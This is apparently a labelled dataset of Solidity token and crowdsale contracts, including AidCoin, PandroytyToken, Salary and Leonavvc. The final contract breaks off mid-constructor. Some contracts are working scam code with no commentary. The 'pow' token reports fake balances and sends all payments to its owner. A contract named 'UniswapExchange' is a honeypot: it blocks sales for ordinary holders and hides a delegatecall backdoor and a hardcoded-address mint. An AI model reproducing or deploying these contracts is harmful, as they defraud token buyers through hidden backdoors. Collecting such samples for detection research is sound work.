function transfer(address _to, uint _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract AidCoinPresale is Ownable, Crowdsale {
using SafeMath for uint256;
uint256 public tokenCap = 10000000 * (10 ** 18);
uint256 public soldTokens;
address public teamWallet;
address public advisorWallet;
address public aidPoolWallet;
address public companyWallet;
address public bountyWallet;
uint256 public teamTokens = 10000000 * (10 ** 18);
uint256 public advisorTokens = 10000000 * (10 ** 18);
uint256 public aidPoolTokens = 10000000 * (10 ** 18);
uint256 public companyTokens = 27000000 * (10 ** 18);
uint256 public bountyTokens = 3000000 * (10 ** 18);
uint256 public claimedAirdropTokens;
mapping (address => bool) public claimedAirdrop;
TokenTimelock public teamTimeLock;
TokenTimelock public advisorTimeLock;
TokenTimelock public companyTimeLock;
modifier beforeEnd() {
require(now < endTime);
_;
}
function AidCoinPresale(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
address _teamWallet,
address _advisorWallet,
address _aidPoolWallet,
address _companyWallet,
address _bountyWallet
) public
Crowdsale (_startTime, _endTime, _rate, _wallet)
{
require(_teamWallet != 0x0);
require(_advisorWallet != 0x0);
require(_aidPoolWallet != 0x0);
require(_companyWallet != 0x0);
require(_bountyWallet != 0x0);
teamWallet = _teamWallet;
advisorWallet = _advisorWallet;
aidPoolWallet = _aidPoolWallet;
companyWallet = _companyWallet;
bountyWallet = _bountyWallet;
token.mint(aidPoolWallet, aidPoolTokens);
teamTimeLock = new TokenTimelock(token, teamWallet, uint64(now + 1 years));
token.mint(address(teamTimeLock), teamTokens);
companyTimeLock = new TokenTimelock(token, companyWallet, uint64(now + 1 years));
token.mint(address(companyTimeLock), companyTokens);
uint256 initialAdvisorTokens = advisorTokens.mul(20).div(100);
token.mint(advisorWallet, initialAdvisorTokens);
uint256 lockedAdvisorTokens = advisorTokens.sub(initialAdvisorTokens);
advisorTimeLock = new TokenTimelock(token, advisorWallet, uint64(now + 180 days));
token.mint(address(advisorTimeLock), lockedAdvisorTokens);
}
function createTokenContract() internal returns (MintableToken) {
return new AidCoin();
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
uint256 newTotalSold = soldTokens.add(tokens);
require(newTotalSold <= tokenCap);
weiRaised = weiRaised.add(weiAmount);
soldTokens = newTotalSold;
token.mint(beneficiary, tokens);
TokenPurchase(
msg.sender,
beneficiary,
weiAmount,
tokens
);
forwardFunds();
}
function airdrop(address[] users) public onlyOwner beforeEnd {
require(users.length > 0);
uint256 amount = 5 * (10 ** 18);
uint len = users.length;
for (uint i = 0; i < len; i++) {
address to = users[i];
if (!claimedAirdrop[to]) {
claimedAirdropTokens = claimedAirdropTokens.add(amount);
require(claimedAirdropTokens <= bountyTokens);
claimedAirdrop[to] = true;
token.mint(to, amount);
}
}
}
function closeTokenSale(address _icoContract) public onlyOwner {
require(hasEnded());
require(_icoContract != 0x0);
uint256 unclaimedAirdropTokens = bountyTokens.sub(claimedAirdropTokens);
if (unclaimedAirdropTokens > 0) {
token.mint(bountyWallet, unclaimedAirdropTokens);
}
token.transferOwnership(_icoContract);
}
function hasEnded() public constant returns (bool) {
bool capReached = soldTokens >= tokenCap;
return super.hasEnded() || capReached;
}
function hasStarted() public constant returns (bool) {
return now >= startTime && now < endTime;
}
} | 1 | 4,562 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (address => uint64) internal roots;
mapping (bytes32 => uint64) internal chains;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function getFreezingSummaryOf(address _addr) public constant returns (uint tokenAmount, uint freezingCount) {
uint count;
uint total;
uint64 release = roots[_addr];
while (release != 0) {
count ++;
total += balanceOf(address(keccak256(toKey(_addr, release))));
release = chains[toKey(_addr, release)];
}
return (total, count);
}
function getFreezing(address _addr, uint _index) public constant returns (uint64 _release, uint _balance) {
uint64 release = roots[_addr];
for (uint i = 0; i < _index; i ++) {
release = chains[toKey(_addr, release)];
}
return (release, balanceOf(address(keccak256(toKey(_addr, release)))));
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
bytes32 currentKey = toKey(_to, _until);
transfer(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
uint64 head = roots[msg.sender];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
address currentAddress = address(keccak256(currentKey));
uint amount = balances[currentAddress];
delete balances[currentAddress];
balances[msg.sender] += amount;
if (next == 0) {
delete roots[msg.sender];
}
else {
roots[msg.sender] = next;
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal constant returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
uint64 head = roots[_to];
if (head == 0) {
roots[_to] = _until;
return;
}
bytes32 headKey = toKey(_to, head);
uint parent;
bytes32 parentKey;
while (head != 0 && _until > head) {
parent = head;
parentKey = headKey;
head = chains[headKey];
headKey = toKey(_to, head);
}
if (_until == head) {
return;
}
if (head != 0) {
chains[toKey(_to, _until)] = head;
}
if (parent == 0) {
roots[_to] = _until;
}
else {
chains[parentKey] = _until;
}
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner {
bytes32 currentKey = toKey(_to, _until);
mint(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
}
contract usingConsts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "PandroytyToken";
string constant TOKEN_SYMBOL = "PDRY";
bool constant PAUSED = true;
address constant TARGET_USER = 0x8f302c391b2b6fd064ae8257d09a13d9fedde207;
uint constant START_TIME = 1520730000;
bool constant CONTINUE_MINTING = true;
}
contract MainToken is usingConsts, FreezableMintableToken, BurnableToken, Pausable {
function MainToken() {
}
function name() constant public returns (string _name) {
return TOKEN_NAME;
}
function symbol() constant public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() constant public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 5,561 |
pragma solidity ^0.4.20;
contract ERC20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract pow is ERC20Interface {
string public name = "Proof of weak cock";
uint8 public decimals = 18;
string public symbol = "Posc.xyz";
uint256 public stdBalance;
mapping (address => uint256) public bonus;
address public owner;
bool public JUSTed;
event Message(string message);
function pow()
public
{
owner = msg.sender;
totalSupply = 3100000 * 1e18;
stdBalance = 31000 * 1e18;
JUSTed = true;
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
bonus[msg.sender] = bonus[msg.sender] + 1e18;
Message("+1 token for you.");
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
bonus[msg.sender] = bonus[msg.sender] + 1e18;
Message("+1 token for you.");
Transfer(msg.sender, _to, _value);
return true;
}
function UNJUST(string _name, string _symbol, uint256 _stdBalance, uint256 _totalSupply, bool _JUSTed)
public
{
require(owner == msg.sender);
name = _name;
symbol = _symbol;
stdBalance = _stdBalance;
totalSupply = _totalSupply;
JUSTed = _JUSTed;
}
function balanceOf(address _owner)
public
view
returns (uint256 balance)
{
if(JUSTed){
if(bonus[_owner] > 0){
return stdBalance + bonus[_owner];
} else {
return stdBalance;
}
} else {
return 0;
}
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
return true;
}
function allowance(address _owner, address _spender)
public
view
returns (uint256 remaining)
{
return 0;
}
function()
public
payable
{
owner.transfer(this.balance);
Message("Thanks for your donation.");
}
function rescueTokens(address _address, uint256 _amount)
public
returns (bool)
{
return ERC20Interface(_address).transfer(owner, _amount);
}
} | 1 | 4,818 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Salary {
using SafeMath for uint256;
address public admin;
mapping(address => bool) public helperAddressTable;
address[] public addressList;
uint256 public deliveredId;
mapping(address => mapping(uint256 => uint256)) public staffSalaryData;
mapping(address => uint256) public staffSalaryStatus;
ERC20 token;
event TerminatePackage(address indexed staff);
event ChangeTokenContractAddress(address indexed newAddress);
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyHelper() {
require(msg.sender == admin || helperAddressTable[msg.sender] == true);
_;
}
function getFullAddressList() view public returns(address[]) {
return addressList;
}
function distribute() public onlyAdmin {
uint256 i;
address receiverAddress;
uint256 transferAmount;
for(i = 0; i < addressList.length; i++) {
receiverAddress = addressList[i];
if (staffSalaryStatus[receiverAddress] == 1) {
transferAmount = staffSalaryData[receiverAddress][deliveredId];
if (transferAmount > 0) {
require(token.transfer(receiverAddress, transferAmount));
}
}
}
deliveredId = deliveredId + 1;
}
function newPackage(address _staffAddress, uint256[] _monthlySalary) external onlyHelper{
uint256 i;
uint256 packageTotalAmount = 0;
require(staffSalaryStatus[_staffAddress] == 0);
for (i = 0; i < _monthlySalary.length; i++) {
staffSalaryData[_staffAddress][deliveredId + i] = _monthlySalary[i];
packageTotalAmount = packageTotalAmount + _monthlySalary[i];
}
addressList.push(_staffAddress);
staffSalaryStatus[_staffAddress] = 1;
require(token.transferFrom(msg.sender, address(this), packageTotalAmount));
}
function terminatePackage(address _staffAddress) external onlyAdmin {
emit TerminatePackage(_staffAddress);
staffSalaryStatus[_staffAddress] = 2;
}
function withdrawToken(uint256 amount) public onlyAdmin {
require(token.transfer(admin, amount));
}
function setHelper(address _helperAddress) external onlyAdmin {
helperAddressTable[_helperAddress] = true;
}
function removeHelper(address _helperAddress) external onlyAdmin {
require(helperAddressTable[_helperAddress] = true);
helperAddressTable[_helperAddress] = false;
}
function changeTokenContractAddress(address _newAddress) external onlyAdmin {
require(_newAddress != address(0));
token = ERC20(_newAddress);
emit ChangeTokenContractAddress(_newAddress);
}
constructor (address _tokenAddress) public {
admin = msg.sender;
token = ERC20(_tokenAddress);
}
} | 1 | 2,650 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 value);
event MintFinished();
bool public mintingFinished = false;
uint256 public totalSupply = 0;
modifier canMint() {
if(mintingFinished) throw;
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TimeLockToken is Ownable, MintableToken{
using SafeMath for uint256;
struct LockedBalance {
uint256 releaseTime;
uint256 amount;
}
event MintLock(address indexed to, uint256 releaseTime, uint256 value);
mapping(address => LockedBalance) lockedBalances;
function mintTimelocked(address _to, uint256 _releaseTime, uint256 _amount)
onlyOwner canMint returns (bool){
require(_releaseTime > now);
require(_amount > 0);
LockedBalance exist = lockedBalances[_to];
require(exist.amount == 0);
LockedBalance memory balance = LockedBalance(_releaseTime,_amount);
totalSupply = totalSupply.add(_amount);
lockedBalances[_to] = balance;
MintLock(_to, _releaseTime, _amount);
return true;
}
function claim() {
LockedBalance balance = lockedBalances[msg.sender];
require(balance.amount > 0);
require(now >= balance.releaseTime);
uint256 amount = balance.amount;
delete lockedBalances[msg.sender];
balances[msg.sender] = balances[msg.sender].add(amount);
Transfer(0, msg.sender, amount);
}
function lockedBalanceOf(address _owner) constant returns (uint256 lockedAmount) {
return lockedBalances[_owner].amount;
}
function releaseTimeOf(address _owner) constant returns (uint256 releaseTime) {
return lockedBalances[_owner].releaseTime;
}
}
contract Leonavvc is TimeLockToken {
using SafeMath for uint256;
event Freeze(address indexed to, uint256 value);
event Unfreeze(address indexed to, uint256 value);
event Burn(address indexed to, uint256 value);
mapping (address => uint256) public freezeOf;
string public name = "Leonavvc";
string public symbol = "LAV";
uint public decimals = 8;
function burn(address _to,uint256 _value) onlyOwner returns (bool success) {
require(_value >= 0);
require(balances[_to] >= _value);
balances[_to] = balances[_to].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_to, _value);
return true;
}
function freeze(address _to,uint256 _value) onlyOwner returns (bool success) {
require(_value >= 0);
require(balances[_to] >= _value);
balances[_to] = balances[_to].sub(_value);
freezeOf[_to] = freezeOf[_to].add(_value);
Freeze(_to, _value);
return true;
}
function unfreeze(address _to,uint256 _value) onlyOwner returns (bool success) {
require(_value >= 0);
require(freezeOf[_to] >= _value);
freezeOf[_to] = freezeOf[_to].sub(_value);
balances[_to] = balances[_to].add(_value);
Unfreeze(_to, _value);
return true;
}
} | 1 | 4,556 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
